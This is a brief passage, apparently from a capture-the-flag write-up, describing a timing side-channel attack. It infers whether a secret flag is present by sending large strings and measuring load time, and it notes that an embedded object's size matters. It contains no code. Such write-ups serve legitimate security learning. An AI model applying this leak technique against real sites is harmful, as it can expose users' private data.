In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
